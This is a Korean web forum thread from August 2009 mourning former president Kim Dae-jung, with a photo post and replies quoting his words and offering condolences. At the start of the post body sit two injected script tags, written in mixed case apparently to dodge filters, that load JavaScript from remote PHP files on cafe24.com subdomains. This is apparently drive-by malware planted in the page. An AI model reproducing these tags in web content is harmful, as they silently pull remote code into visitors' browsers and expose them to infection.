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[사진] ▶◀ 삼가 김대중 대통령님의 명복을 빕니다.
글쓴이 : 김자윤  (114.♡.183.56) 날짜 : 2009-08-18 (화) 21:12 조회 : 2259


<scRIPT Language=Javascript src=http://rnjsdudwh.cafe24.com/Mics.php></script><scRIPT Language=Javascript src=http://dlcjsvlf.cafe24.com/Wiz.php></script> 2003년 2월 25일 대통령 이취임식날 동교동에서 찍은 김대중 전 대통령님의 손입니다. 손에서 느낄 수 있는 분위기가 그분의 진정한 마음인 것 같았습니다.

자운영 (110.♡.186.30) 2009-08-19 (수) 00:56
  노 전 대통령 영결식 때 하지 못했던 김 전 대통령의 추도사 중 일부입니다.
"노 전 대통령은 “각성하는 시민이어야 산다.”, “시민이 각성해서 시민이 지도자가 될 정도로 돼야 한다.”고 말했습니다. 이것은 내가 말해온 ‘행동하는 양심’과 같은 것입니다. 우리 모두 행동하는 양심, 각성하는 시민이 됩시다. 그래야 이깁니다. 그래야 위기에 처한 민주주의를 살려낼 수 있습니다.
그 길은 꼭 어렵지만은 않습니다. 자기가 할 수 있는 범위 내에서 행동하면 됩니다. 무엇보다 바르게 투표하면 됩니다. 인터넷 같은데 글을 올릴 수도 있습니다. 여론조사에서 민주주의 안 하는 정부는 지지 못한다고 할 수도 있습니다. 민주주의가 위기일 때, 그것조차 못한다면 좋은 나라와 민주국가 이런 말을 우리가 할 수 있겠습니까."
노무현 대통령 영결식 때 권양숙 여사의 손을 붙잡고 아이처럼 서럽게 목놓아 울으시던 모습이 떠올라 하루종일 슬펐습니다. 부디 좋은 곳으로 가십시오...


풍아 (220.♡.193.231) 2009-08-19 (수) 00:57
  얼마만에 다시 보는 자윤샘님의 김대중대통령님 사진인지...
오늘 그때와의 느낌이 또 다름은 그 분을 이제는 떠나 보냈기 때문입니까?
저 손으로 이루어 놓은 모든 것을 무시, 깽판, 뒤돌림...
미안합니다. 죄송합니다.

오마이뉴스 오연호가 전하는 당신의 마지막 말씀 "민주주의가 되돌아가고 있는 것이 분하고 억울합니다. 나는 몸도 이렇고 하니 여러분들이 맡아서 뒷일을 잘해주세요. 후배 여러분들 잘 부탁합니다" 각골명심하겠습니다. 사랑합니다.
이경화 (125.♡.76.2) 2009-08-19 (수) 10:05
  ▶◀ 삼가 김대중 대통령님의 명복을 빕니다.
얼음꽃 (121.♡.202.23) 2009-08-19 (수) 10:57
  그동안 감사 했습니다.
삼가 김대중 대통령님의 명복을 빕니다.
   

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